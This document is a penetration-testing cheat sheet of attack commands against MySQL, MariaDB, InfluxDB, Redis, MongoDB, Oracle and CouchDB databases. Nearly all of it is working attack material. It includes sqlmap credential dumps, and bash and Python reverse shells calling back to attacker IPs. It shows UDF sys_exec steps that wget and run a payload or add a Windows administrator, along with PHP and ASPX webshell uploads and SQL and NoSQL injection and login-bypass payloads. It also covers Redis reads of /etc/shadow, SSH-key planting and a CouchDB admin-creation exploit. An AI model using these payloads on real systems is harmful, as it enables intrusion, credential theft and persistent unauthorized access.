Searching for an exploit for a specific database version

```
root@kali$:Searchsploit -w [databasetype]
```

SQL Database

SQL Injection with sqlmap

Grabbing the Database software

```
root@kali: sqlmap -u
example.com/product/14* --banner
```

we put star as the vulnerable parameter is not clear to us

or

```
root@kali:sqlmap -r req.txt --current-db
```

Listing Tables

```
root@kali: sqlmap -u catalog.sph-
assets.com/product/14* --tables
```

or

```
root@kali:sqlmap -r request.txt -D social
--tables
```

Dump entries from a specific table

```
root@kali: sqlmap -u
example.com/product/14* -T
users_field_data –dump
```

Dumping specific columns from a table

```
root@kali:sqlmap -r request.txt -D social
-T users -C username,email,password --dump
```

Writing SSH keys with sqlmap to the remote host to have SSH access (you need to create your key pairs first locally before transferring them to the remote host)

```
root@kali: sqlmap -u
example.com/product/14* --file
```

```
write=/root/.ssh/id_rsa.pub -file
destination=/home/mysql/.ssh/
```

Next, try to connect with your private key:

```
root@kali: ssh -i /home/.ssh/id_rsa.priv
mysql@example.com
```

Capturing the request with burpsuite of the login form or search form and feeding it to sql map

```
root@kali:sqlmap -r request.txt -dump-all
-level=5 -risk=3
```

Or we can let sqlmap automate the selection of the form parameters as below

```
root@kali:sqlmap -u
http://domain.com/login.php --forms --dump
```

Grabbing os shell after exploitation

```
root@kali:sqlmap -r request.txt -dump-all
-level=5 -risk=3 --os-shell
```

And then from os-shell to nc shell:

```
os-shell> bash -c 'bash -i >&
/dev/tcp/10.10.14.2/4444 0>&1'
```

OS-shell to Python shell

```
python3 -c` `'import
socket,subprocess,os;s=socket.socket(socke
t.AF_INET,socket.SOCK_STREAM);s.connect(("
my-own-ip",4444));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["
/bin/sh","-i"]);'
```

Instructing sqlmap to try and bypass WAF

```
root@kali:sqlmap -r req.txt --current-db -
-tamper=space2comment
```

Exporting shared objects to plugin directory and executing sys_exec. This method assumes that you have the username and password of a privileged database user or the root username and password. The objective is to execute system function and establish reverse shell back to us with root privileges.

Applying on MYSQL

A ready shared object for MYSQL can be found here

```
https://github.com/mysqludf/lib_mysqludf_sys.git
```

First we install the dependencies to handle and compile it

```
root@kali$:sudo apt update && sudo apt install default-libmysqlclient-dev
```

Then a hex version of the .so shared object file is created with the following

```
<root@kali$:xxd -p lib_mysqludf_sys.so |
tr -d '\n' > lib_mysqludf_sys.so.hex
```

Then we log in to the mysql server and execute the followings:

```
mysql: Set @shell=[the hex value from the
above command];
```

```
mysql:select @@plugin_dir;
```

[make note of the plugin directory path]

```
mysql:select binary @shell into dumpfile
'/home/dev/plugin/udf_sys_exec.so';
```

[creating the function]

```
mysql:create function sys_exec returns int
soname 'udf_sys_exec.so';
```

[making sure the function has been created]

```
mysql:select * from mysql.func where
name='sys_exec';
```

Now on the attacking machine, we establish a listener and we generate an exploit with elf extension and put it in the web server directory to be downloaded
Downloading the exploit from the attacking machine

```
mysql:select sys_exec('wget
http://10.11.0.4/shell.elf');
mysql:select sys_exec('chmod +x
./shell.elf');
mysql:select sys_exec('./shell.elf');
```

After executing the above successfully, we should receive a shell.

Note: Sometimes mysql is exposed to the public but you can’t connect to it from the internet due to a security precaution. The resolution to this issue is to have access to the machine
That hosts the mysql server. Login to the mysql server and create a user to use it to login from outside the network

```
mysql> CREATE USER 'user'@'localhost'
IDENTIFIED BY 'some_pass';
```

```
mysql> GRANT ALL PRIVILEGES ON *.* TO
'user'@'localhost'
    ->      WITH GRANT OPTION;
```

```
mysql> CREATE USER 'user'@'%' IDENTIFIED
BY 'some_pass';
```

```
mysql> GRANT ALL PRIVILEGES ON *.* TO
'user'@'%'
    ->      WITH GRANT OPTION;
```

Applying on MariaDB

Everything we did above stays the same for mariadb excep when we download the shared object from the specified URL above, the content of the Makefile should be like below

```
#LIBDIR=/usr/lib
#install:
#gcc -Wall -I/usr/include/mariadb/server -
```

```
I/usr/include/mariadb/ -I/usr/include
#/mariadb/server/private -I. -shared
lib_mysqludf_sys.c -o lib_mysqludf_sys.so
```

Next thing from kali command like we type:

```
root@kali$:Make gcc -Wall -
I/usr/include/mariadb/server -
I/usr/include/mariadb/ -
I/usr/include/mariadb
/server/private -I. -shared
lib_mysqludf_sys.c -o lib_mysqludf_sys.so
```

Everything else, the steps for MYSQL are the same

PhpMyAdmin – mysql command line

In the sql editor, paste the following command

```
SELECT "<?php system($_GET['cmd']); ?>"
into outfile "/var/www/html/shell3.php"
```

Browse to the URL/shell3.php?cmd=[your-command]

Using UDFs and System functions with sharmysql> use mysql;

- Linux

  Download the share library from here

```
https://github.com/sqlmapproject/sqlmap/tree/master/data/udf/mysql/linux/64
```

```
mysql> create table potato(line blob);
```

```
mysql> insert into potato
values(load_file('/tmp/lib_mysqludf_sys.so'));
```

```
mysql> select * from potato into dumpfile '/usr/lib/lib_mysqludf_sys.so';
```

```
mysql> create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
```

```
mysql> select sys_exec('bash -i >& /dev/tcp/192.168.1.99/443 0>&1');
```

- Windows

  USE mysql;

```
CREATE TABLE potato(line blob);
INSERT INTO potato
values(load_file('C://Users//Bob//Desktop/
/lib_mysqludf_sys.dll'));
```

```
SELECT * FROM mysql.potato INTO DUMPFILE
'c://windows//system32//lib_mysqludf_sys_3
2.dll';
```

```
CREATE FUNCTION sys_exec RETURNS integer
SONAME 'lib_mysqludf_sys_32.dll';
```

```
SELECT sys_exec("net user hacker
Password123! /add");
```

```
SELECT sys_exec("net localgroup
Administrators hacker /add");
```

SQL Injection in search fields

Lets say the search page is handled by a file named sql.php and the parameter is search.
Sql.php?search=pentesting
First thing we try is to search with single quote ‘

```
Sql.php?search=’
```

If it returns an error, then we know its vulnerable.
Our next step is to determine the number of columns starting from running a normal query on the search box to get an idea.
Finding the number of columns:

```
Sql.php?search=test’ ORDER BY 1-- -
```

or

```
Sql.php?search=' ORDER BY 1--
```

We keep incrementing the number until we hit an error which indicates the number of columns.
Then we search for something similar to that below:

```
Sql.php?search=pentesting’ union select
1,1,1,1,1,1,1#
```

Or

```
Sql.php?search =' and 1 = 0 union all
select 1,1,1,1,1,1,1 from
information_schema.tables where 1=0 or
1=1-- '
```

We continue adding ‘1’s until we don’t receive any error from the page.
Only then we know how many columns by counting the ‘1’s.
Then we try to find the database name, table names, columns of target table

```
Sql.php?search=pentesting’ union select
1,database(),@@version,1,1,1,1#
```

Or

```
Sql.php?search =' and 1 = 0 union all
select 1,database(),@@version,1,1,1,1 from
information_schema.tables where 1=0 or
1=1-- '
```

```
Sql.php?search=pentesting’ union select
1,table_name,1,1,1,1,1 from
information_schema.tables#
```

Or

```
Sql.php?search =' and 1 = 0 union all
select 1,table_name,1,1,1,1,1 from
information_schema.tables where 1=0 or
1=1-- '
```

```
Sql.php?search=pentesting’ union select
1,column_name,1,1,1,1,1 from
information_schema.columns where
table_name=’users’#
```

Or

```
Sql.php?search =' and 1 = 0 union all
select 1,column_name,1,1,1,1,1 from
information_schema.columns where
table_name = 'users'-- '
```

```
Sql.php?search=pentesting’ union select
1,login,user,password,1,1,1 from users#
```

Or

```
Sql.php?search = ' and 1=0 union all
select
1,login,password,secret,email,admin,7 from
users-- -
```

```
Sql.php?search=pentesting’ union select 1,
"<?php echo shell_exec($_GET['cmd'])?
>",1,1,1,1,1 into outfile
"/var/www/html/shell3.php"#
```

Or

```
Sql.php?search= ' and 1=0 union all select
1, "<?php echo shell_exec($_GET['cmd'])?
>",1,1,1,1,1 into outfile
"/var/www/html/shell3.php"#
```

Another method after finding the number of columns.

Lets say we found there are three columns, we would continue this way:

```
searchitem=test' UNION SELECT 1,2,3-- -
```

```
searchitem=test' UNION SELECT 1,(select
group_concat(SCHEMA_NAME) from
INFORMATION_SCHEMA.SCHEMATA),3-- -
```

The SCHEMATA table specifically contains the names of databases MySQL knows about.

```
searchitem=test' UNION SELECT 1,(select
group_concat(TABLE_NAME) from
INFORMATION_SCHEMA.TABLES WHERE
TABLE_SCHEMA = 'db'),3-- -
```

```
searchitem=test' UNION SELECT 1,(select
group_concat(COLUMN_NAME) from
INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME = 'users'),3-- -
```

```
searchitem=test' UNION SELECT 1,(select
username from db.users),3-- -
```

```
searchitem=test' UNION SELECT 1,(select
pwd from db.users),3-- -
```

Another method to finding the number of columns and proceeding further:

```
' UNION select 1 from
information_schema.tables #
' UNION select 1,2 from
information_schema.tables #
' UNION select 1,2,3 from
information_schema.tables #
```

The one that returns a correct output is the one that indicates the number of columns
Proceeding

```
' UNION select 1,table_schema,table_name
from information_schema.tables #
```

```
' UNION select 1,table_name,column_name
from information_schema.columns #
```

```
' UNION select 1,username,pwd from users #
```

SQL Injection in URL Parameters

Say we have the below URL:

```
http://domain.com/profile?id=1
```

First we produce an error with either ['] or ["] and see how the web app reacts.

SQL Injection in Login forms

When it comes to login forms, we can try the following SQL payloads manually first

```
root' or 1=1##


' or 1=1 -- #


' or ''='


' or 1--


') or true--
```

```
" or true--

") or true--

')) or true—
```

Tip: Sometimes mysql is exposed to the public but you can’t connect to it from the internet due to a security precaution. The resolution to this issue is to have access to the machine

That hosts the mysql server. Login to the mysql server and create a user to use it to login from outside the network

```
mysql> CREATE USER 'user'@'localhost'
IDENTIFIED BY 'some_pass';
```

```
mysql> GRANT ALL PRIVILEGES ON *.* TO
'user'@'localhost'
    ->     WITH GRANT OPTION;
```

```
mysql> CREATE USER 'user'@'%' IDENTIFIED
BY 'some_pass';
```

```
mysql> GRANT ALL PRIVILEGES ON *.* TO
'user'@'%'
    ->     WITH GRANT OPTION;
```

Bypassing SQL Filters

UNION Filters

Lets say we are testing a login form and it returns an error whenever we try to execute UNION SELECT. This suggest that there is a WAF filtering the queries so we would use Union instead.

```
Email=’ UNion select 1,2,3,concat(command,
"@test.com") -- -
```

```
Email=' UNion select
1,2,3,concat(table_name, "@test.com") FROM
information_schema.tables where
table_schema="databasename" limit 1,1 -- -
```

```
Email=' UNion select
1,2,3,concat(column_name, "@test.com")
FROM information_schema.columns where
table_name="tablename" limit 2,1 -- -
```

```
Email= ' UNion select
1,2,3,concat(password, “@test.com”) FROM
tablename limit 1,1 -- -
```

Influx DB

Influx DB Exploitation with curl

*First find a vaild user by visiting the below URL

```
https://<influx-server-
address>:8086/debug/requests
```

*Create a jwt token with that user while also making sure that the token follows the below method

```
**header** - {"alg": "HS256", "typ":
"JWT"} **payload** - {"username":"**<input
user name here>**","exp":1548669066}
**signature** -
```

```
HMACSHA256(base64UrlEncode(header) + "."
+base64UrlEncode(payload),<**leave this
field empty>**)
```

*Using curl, we craft the exploitation part

listing the databases

```
curl -G http://10.10.219.28:8086/query --
data-urlencode q=SHOW DATABASES; -H
"Authorization: Bearer jwt token here"
```

listing the columns

```
curl -G http://10.10.219.28:8086/query --
data-urlencode q=SHOW SERIES ON db_name; -
H "Authorization: Bearer jwt token here"
```

Dumping contents of specific columns

```
curl -G http://10.10.219.28:8086/query?
db=db_name --data-urlencode q=SELECT *
```

```
FROM column-name; -H "Authorization:
Bearer jwt token here"
```

Redis NOSQL Database

Runs on port 6379 TCP. Redis, is an open source, data structure tool that can be used as an in-memory distributed database, message broker or cache.
Since it is designed to be accessed inside trusted environments, it should not be exposed on the Internet.
If you do expose it to the public on usually port 6379, make sure to set password authentication.

Connecting to a remote redis database

```
redis-cli -h [target ip or domain]
```

retrieving user information

```
get user


if you get 'nil' as a value it means that
'user' key doesn't exit.
```

Setting a value for a key or updating it.

```
SET user motasem
```

Getting information about the server

```
INFO
```

Retrieving the redis directory

```
CONFIG get dir
```

Enumerating files [Linux]

```
EVAL dofile('/etc/passwd') 0
EVAL dofile('/etc/shadow') 0
```

Enumerating files [Windows]

```
eval "dofile('C:\\\\Users\\\\enterprise-
security\\\\Desktop\\\\user.txt')" 0
```

Dumping the database password with LUA script

```
EVAL
dofile('/var/data/app/db.conf');return(db.
passwd); 0
```

Writing Your public SSH key to the server

We can generate and write our own public key and then smuggle it to the server running redis. The objective is to login with SSH to the target server as the user running Redis.

Generating pair of keys

```
ssh-keygen -t rsa
```

Copying the public key to a txt file

```
(echo -e "\n\n"; cat
/home/user/.ssh/id_rsa.pub; echo -e
"\n\n") > public-key.txt
```

Setting the key in redis

The below command sets the key `pkey` in redis to have the same value of the public key.

```
cat /home/user/.ssh/public-key.txt |
redis-cli -h ip -x set pkey
```

If the output of the above command is `OK` from the redis server then it means that your public SSH key has been transferred to the redis server.

Transferring the key to /.ssh

Next step is to get the public key we transferred stored in `/.ssh` of the target server running redis.

We execute the below three commands

```
config set dir /var/lib/redis/.ssh
config set dbfilename "authorized_keys"
save
```

`/var/lib/redis` is normally the directory where redis is installed. You can learn that by executing the command `CONFIG get dir` to learn the installation path.

`authorized_keys` is the file that stores the allowed public keys for login

Logging in to the server

Lastly if all went okay, we login with our private ssh key to the server

```
ssh -i id_rsa redis@ip
```

Mongo NOSQL DB

Mono DBs can be exploited either in the browser by finding an entry point such as a login page or by interacting with the database itself.
The exploitation of [Mongo DB] is like any other [NOSQL] database. It relies on an understanding of its operators. Below are the most important operators

```
$eq - matches records that equal to a
certain value

$ne - matches records that are not equal
to a certain value

$gt - matches records that are greater
```

```
than a certain value.

$where - matches records based on
Javascript condition

$exists - matches records that have a
certain field

$regex - matches records that satisfy
certain regular expressions.
```

Interaction with mongodb

Lets say we logged in and wanted to list the admin credentials, we can use the below injection

```
db.users.findOne({username: "admin",
password: {"$ne":"00"}})
```

Here we are telling mongo to list all documents [records] in the table [users] where the [password] is not equal to [00].
The output can look like below

```
{ "_id" : ObjectId("6183ef62925943030"),
"id" : "1", "username" : "admin", "email"
: "admin@domain.com", "password" :
"idkidiot" }
```

Bypassing login page

Much like [sql injection], we locate a login page where there is a login box asking for [username] and [password].
we use [burp suite] to intercept a login request and to bypass the login page we need to make the password variable like below

```
username=admin&password[$ne]=admin
```

This will bypass the logic and make the output equals to [true] and log you in as an admin.

Oracle DB

oracle db exploitation with odat (oracle database attacking tool)

Installing ODAT

- Downloading latest release

```
git clone
https://github.com/quentinhardy/odat.git
```

- Then under the tool directory

```
cd odat/
git submodule init
git submodule update
```

- Installing python requirements

```
sudo apt-get install libaio1 python3-dev
alien python3-pip

sudo apt-get install python3-scapy
sudo pip3 install colorlog termcolor
pycrypto passlib python-libnmap
sudo pip3 install argcomplete && sudo
activate-global-python-argcomplete
```

- Get instant client basic, sdk (devel) and sqlplus

```
-
X64: [http://www.oracle.com/technetwork/topics/linuxx86-64soft-092277.html]
(http://www.oracle.com/technetwork/topics/linuxx86-64soft-092277.html)

-
X86: [http://www.oracle.com/technetwork/topics/linuxsoft-082809.html]
(http://www.oracle.com/technetwork/topics/linuxsoft-082809.html)
```

- Generate DEB files from RPM files
  Make sure to replace the question marks in the command with the version of the oracle instant client you downloaded from the previous step.

```
sudo alien --to-deb oracle-instantclient19.3-basic-???.x???.rpm

sudo alien --to-deb oracle-instantclient19.3-devel-???.x???.rpm
```

- Install instant client basic, sdk and sqlplus

```
sudo dpkg -i oracle-instantclient19.3-
basic-???.x???.deb

sudo dpkg -i oracle-instantclient19.3-
devel_???_???.deb
```

- Put these lines in your */etc/profile* file in order to define Oracle *env* variables

```
export
ORACLE_HOME=/usr/lib/oracle/19.3/client64/

export
LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$ORACLE_H
OME/lib

export PATH=${ORACLE_HOME}bin:$PATH
```

- Create the */etc/ld.so.conf.d/oracle.conf* file and add the path to Oracle home

```
/usr/lib/oracle/19.3/client64/lib/
```

- Update the ldpath

```
sudo ldconfig
```

- Install CX_Oracle

```
sudo -s
source /etc/profile
pip3 install cx_Oracle
```

- Install pyinstaller

```
pip3 install pyinstaller
```

- Lastly you can now run ODAT

```
./odat.py -h
```

Attack Methodology

To start attacking oracle DB we need four different things

```
IP
PORT
```

```
SID (Service Identifier)
Username/Password
```

The IP is same is the ip of your target.

The port can be found in your nmap scan

Finding SID

The SID can be found with ODAT

```
odat sidguesser -s [target-ip]
```

Or with metasploit

```
msf auxiliary(admin/oracle/sid_brute) >
run
```

Finding username and password

The username and password can be brute-forced with metasploit. However before we run any brute force we have to set the SID which we found in the previous step. In the below case, the SID is [xss]

```
msf auxiliary(login_brute) > set SID xss
SID => xss
```

```
msf auxiliary(login_brute) > run
```

If you couldn't determine the username/password then you can use the below python script

```
https://drive.google.com/drive/u/0/folders
/1nefmwAXLjNpmD_O0B3NsRSI29YP6lrc_
```

Connecting to the DB

Lastly after finding the username and password we can connect to the db with sqlplus

```
sqlplus username/pass@ip:port/sid as
sysdba
```

Enumerating the DB

After successful connection, we can enumerate the privileges of the current user

```
SQL> select * from user_role_privs;
```

Or with ODAT

```
odat all -s ip -d SID -U username -P pass
--sysdba
```

This will reveal the privileges of the user. Ideally we would want the capability to upload a webshell so let's assume that we can do that.

Uploading a webshell

```
odat dbmsadvisor -s ip -d sid -U user -P
pass --sysdba --putFile
C:\\inetpub\\wwwroot webshell.aspx
/usr/share/webshells/aspx/cmdasp.aspx
```

Then you can navigate to that webshell by accessing the iis server.

Couch DB

Couch DB is a document-oriented database and it's ideal for web applications that handle huge amounts of loosely structured data.

Enumeration and Exploitation of Couch DB

Interaction with couch DB can be done with curl tool from the command line.

Version enumeration

Lets say the database is running on port 5984

```
curl http://ip:5984
```

Enumerating columns and tables

```
curl http://ip:5984/_all_dbs
```

Exploiting known vulnerabilities

Apache CouchDB < 2.1.0 - Remote Code Execution

Exploit can be found below

```
https://www.exploit-db.com/exploits/44913
```

To do it manually, the command below will add a new user as #admin-attacker

```
curl -X PUT
'http://ip:5984/_users/org.couchdb.user:ad
min-attacker' -data-binary '{ ""type":
"user", "name": "admin-attacker", "roles":
["_admin"], "roles": [], "password":
"admin-attacker" }'
```

Then we can enumerate all existing users along with their passwords in the DB

```
curl http://ip:5984/passwords/_all_docs?
include_docs=true -u admin-attacker:admin-
attacker
```